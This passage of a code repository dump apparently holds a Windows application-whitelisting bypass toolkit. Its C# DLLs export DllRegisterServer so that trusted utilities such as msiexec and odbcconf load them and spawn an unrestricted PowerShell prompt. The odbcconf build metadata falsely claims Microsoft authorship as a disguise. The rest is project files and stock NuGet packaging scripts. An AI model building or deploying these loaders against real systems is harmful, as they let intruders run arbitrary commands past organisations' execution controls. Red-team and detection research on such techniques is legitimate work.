defaultStdout = new IntPtr(7); 22 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 23 | Console.Write("PS >"); 24 | string x = Console.ReadLine(); 25 | try 26 | { 27 | Console.WriteLine(RunPSCommand(x)); 28 | } 29 | catch (Exception e) 30 | { 31 | Console.WriteLine(e.Message); 32 | } 33 | } 34 | return true; 35 | } 36 | //Based on Jared Atkinson's And Justin Warner's Work 37 | public static string RunPSCommand(string cmd) 38 | { 39 | //Init stuff 40 | Runspace runspace = RunspaceFactory.CreateRunspace(); 41 | runspace.Open(); 42 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 43 | Pipeline pipeline = runspace.CreatePipeline(); 44 | 45 | //Add commands 46 | pipeline.Commands.AddScript(cmd); 47 | 48 | //Prep PS for string output and invoke 49 | pipeline.Commands.Add("Out-String"); 50 | Collection results = pipeline.Invoke(); 51 | runspace.Close(); 52 | 53 | //Convert records to strings 54 | StringBuilder stringBuilder = new StringBuilder(); 55 | foreach (PSObject obj in results) 56 | { 57 | stringBuilder.Append(obj); 58 | } 59 | return stringBuilder.ToString().Trim(); 60 | } 61 | 62 | public static void RunPSFile(string script) 63 | { 64 | PowerShell ps = PowerShell.Create(); 65 | ps.AddScript(script).Invoke(); 66 | } 67 | 68 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 69 | [DllImport("kernel32.dll")] 70 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 71 | [DllImport("kernel32.dll")] 72 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 73 | [DllImport("kernel32")] 74 | static extern bool AllocConsole(); 75 | 76 | 77 | } -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("msiexec-bypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("msiexec-bypass")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b47d4cb4-a47f-46b7-baa2-f7857ce4703a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/msiexec.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A} 8 | Library 9 | Properties 10 | msiexec_bypass 11 | msiexec-bypass 12 | v2.0 13 | 512 14 | 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x64 25 | 26 | 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 37 | False 38 | 39 | 40 | 41 | 42 | False 43 | ..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 63 | -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/msiexec.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "msiexec", "msiexec.csproj", "{B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'RGiesecke.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName) 49 | } 50 | 51 | function Get-AllDllExportMsBuildProjects { 52 | (Get-Project -all | % { 53 | Get-DllExportMsBuildProjectsByFullName $_.FullName 54 | }) | ? { 55 | return ($_.Xml.Imports | ? { 56 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 57 | }).Length -gt 0; 58 | } 59 | } 60 | 61 | function Assert-PlatformTargetOfProject([String] $fullName) { 62 | $proj = Get-DllExportMsBuildProjectsByFullName $fullName 63 | 64 | if(!$proj) { 65 | return; 66 | } 67 | 68 | $platformTarget = $proj.GetPropertyValue('PlatformTarget'); 69 | 70 | if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 'x64')) { 71 | $projectName = [IO.Path]::GetFileNameWithoutExtension($fullName); 72 | if(!$platformTarget) { 73 | $platformTarget = "has no platform target"; 74 | } else { 75 | $platformTarget = "has a platform target of '$platformTarget'"; 76 | } 77 | Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions." 78 | Write-Host "" 79 | } 80 | } 81 | 82 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 83 | $projects = Get-AllDllExportMsBuildProjects; 84 | 85 | [String] $asString = $value; 86 | 87 | if($projectName) { 88 | $projects = $projects | where { $_.Name -ieq $projectName }; 89 | } 90 | $propertyName = 'NoDllExportsForAnyCpu'; 91 | 92 | $projects = $projects | where { 93 | $_.GetPropertyValue($propertyName) -ine $asString 94 | } | % { 95 | $_.SetProperty($propertyName, $asString); 96 | } 97 | } 98 | 99 | Export-ModuleMember Set-NoDllExportsForAnyCpu 100 | 101 | Export-ModuleMember Remove-OldDllExportFolder 102 | Export-ModuleMember Remove-OldDllExportFolders 103 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 104 | Export-ModuleMember Get-AllDllExportMsBuildProjects 105 | Export-ModuleMember Assert-PlatformTargetOfProject -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | $(PostBuildEventDependsOn); 7 | RGieseckeDllExport 8 | 9 | 10 | 11 | 12 | 13 | $(BuildDependsOn); 14 | RGieseckeDllExport 15 | 16 | 17 | 18 | 20 | 21 | 23 | 24 | 34 | 35 | 36 | 37 | RGiesecke.DllExport.DllExportAttribute 38 | RGiesecke.DllExport.Metadata 39 | 40 | $(Platform) 41 | $(PlatformTarget) 42 | $(CpuType) 43 | $(DebugSymbols) 44 | false 45 | $(DllExportTimeout) 46 | $(KeyContainerName)$(AssemblyKeyContainerName) 47 | $(KeyOriginatorFile) 48 | $(MSBuildProjectDirectory) 49 | $(TargetPath) 50 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 51 | $(DevEnvDir)\..\..\VC\bin 52 | $(DevEnvDir) 53 | $(TargetFrameworkVersion) 54 | $(TargetFrameworkSDKToolsDirectory) 55 | $(NoDllExportsForAnyCpu) 56 | 57 | 58 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 4 | 5 | if($project) { 6 | Assert-PlatformTargetOfProject $project.FullName 7 | } 8 | else { 9 | Get-AllDllExportMsBuildProjects | % { 10 | Assert-PlatformTargetOfProject $_.FullPath 11 | } 12 | } -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 6 | 7 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 8 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 9 | 10 | if(!$msBuildV4) { 11 | throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); 12 | } 13 | 14 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 15 | 16 | # change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally 17 | 18 | $project.Object.References | ? { 19 | $_.Name -ieq "RGiesecke.DllExport.Metadata" 20 | } | % { 21 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 22 | $_.CopyLocal = $false 23 | } 24 | } 25 | 26 | $projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) 27 | $projects | % { 28 | $currentProject = $_ 29 | 30 | # remove imports of RGiesecke.DllExport.targets from this project 31 | $currentProject.Xml.Imports | ? { 32 | return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) 33 | } | % { 34 | $currentProject.Xml.RemoveChild($_); 35 | } 36 | 37 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 38 | $currentProject.Xml.Properties | ? { 39 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 40 | } | % { 41 | $_.Parent.RemoveChild($_) 42 | } 43 | 44 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 45 | $relativeUrl = $projectUri.MakeRelative($targetUri) 46 | $import = $currentProject.Xml.AddImport($relativeUrl) 47 | $import.Condition = "Exists('$relativeUrl')"; 48 | 49 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 50 | Remove-OldDllExportFolder $project 51 | Assert-PlatformTargetOfProject $project.FullName 52 | } -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) 6 | 7 | $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) 8 | 9 | return $projects | % { 10 | $currentProject = $_ 11 | 12 | $currentProject.Xml.Imports | ? { 13 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) 14 | } | % { 15 | $currentProject.Xml.RemoveChild($_) 16 | } 17 | } -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/Class1.cs: -------------------------------------------------------------------------------- 1 | // https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b 2 | 3 | // odbcconf.exe /F file.rsp 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | using RGiesecke.DllExport; 8 | using System.Collections.ObjectModel; 9 | using System.Management.Automation; 10 | using System.Management.Automation.Runspaces; 11 | using System.Text; 12 | 13 | public class Test 14 | { 15 | 16 | [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] 17 | public static bool DllRegisterServer() 18 | { 19 | while (true) 20 | { 21 | AllocConsole(); 22 | IntPtr defaultStdout = new IntPtr(7); 23 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 24 | Console.Write("PS >"); 25 | string x = Console.ReadLine(); 26 | try 27 | { 28 | Console.WriteLine(RunPSCommand(x)); 29 | } 30 | catch (Exception e) 31 | { 32 | Console.WriteLine(e.Message); 33 | } 34 | } 35 | return true; 36 | } 37 | //Based on Jared Atkinson's And Justin Warner's Work 38 | public static string RunPSCommand(string cmd) 39 | { 40 | //Init stuff 41 | Runspace runspace = RunspaceFactory.CreateRunspace(); 42 | runspace.Open(); 43 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 44 | Pipeline pipeline = runspace.CreatePipeline(); 45 | 46 | //Add commands 47 | pipeline.Commands.AddScript(cmd); 48 | 49 | //Prep PS for string output and invoke 50 | pipeline.Commands.Add("Out-String"); 51 | Collection results = pipeline.Invoke(); 52 | runspace.Close(); 53 | 54 | //Convert records to strings 55 | StringBuilder stringBuilder = new StringBuilder(); 56 | foreach (PSObject obj in results) 57 | { 58 | stringBuilder.Append(obj); 59 | } 60 | return stringBuilder.ToString().Trim(); 61 | } 62 | 63 | public static void RunPSFile(string script) 64 | { 65 | PowerShell ps = PowerShell.Create(); 66 | ps.AddScript(script).Invoke(); 67 | } 68 | 69 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 70 | [DllImport("kernel32.dll")] 71 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 72 | [DllImport("kernel32.dll")] 73 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 74 | [DllImport("kernel32")] 75 | static extern bool AllocConsole(); 76 | 77 | } -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("odbcconf")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("odbcconf")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("8346cf2d-dbdf-4ffd-a4dc-4d51f1d8d3b9")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/odbcconf.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9} 8 | Library 9 | Properties 10 | odbcconf 11 | oc 12 | v2.0 13 | 512 14 | 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x64 25 | 26 | 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 37 | False 38 | True 39 | 40 | 41 | 42 | False 43 | ..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 62 | -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/odbcconf.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'RGiesecke.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName) 49 | } 50 | 51 | function Get-AllDllExportMsBuildProjects { 52 | (Get-Project -all | % { 53 | Get-DllExportMsBuildProjectsByFullName $_.FullName 54 | }) | ? { 55 | return ($_.Xml.Imports | ? { 56 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 57 | }).Length -gt 0; 58 | } 59 | } 60 | 61 | function Assert-PlatformTargetOfProject([String] $fullName) { 62 | $proj = Get-DllExportMsBuildProjectsByFullName $fullName 63 | 64 | if(!$proj) { 65 | return; 66 | } 67 | 68 | $platformTarget = $proj.GetPropertyValue('PlatformTarget'); 69 | 70 | if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 'x64')) { 71 | $projectName = [IO.Path]::GetFileNameWithoutExtension($fullName); 72 | if(!$platformTarget) { 73 | $platformTarget = "has no platform target"; 74 | } else { 75 | $platformTarget = "has a platform target of '$platformTarget'"; 76 | } 77 | Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions." 78 | Write-Host "" 79 | } 80 | } 81 | 82 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 83 | $projects = Get-AllDllExportMsBuildProjects; 84 | 85 | [String] $asString = $value; 86 | 87 | if($projectName) { 88 | $projects = $projects | where { $_.Name -ieq $projectName }; 89 | } 90 | $propertyName = 'NoDllExportsForAnyCpu'; 91 | 92 | $projects = $projects | where { 93 | $_.GetPropertyValue($propertyName) -ine $asString 94 | } | % { 95 | $_.SetProperty($propertyName, $asString); 96 | } 97 | } 98 | 99 | Export-ModuleMember Set-NoDllExportsForAnyCpu 100 | 101 | Export-ModuleMember Remove-OldDllExportFolder 102 | Export-ModuleMember Remove-OldDllExportFolders 103 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 104 | Export-ModuleMember Get-AllDllExportMsBuildProjects 105 | Export-ModuleMember Assert-PlatformTargetOfProject -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net2.0/odbcconf/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- 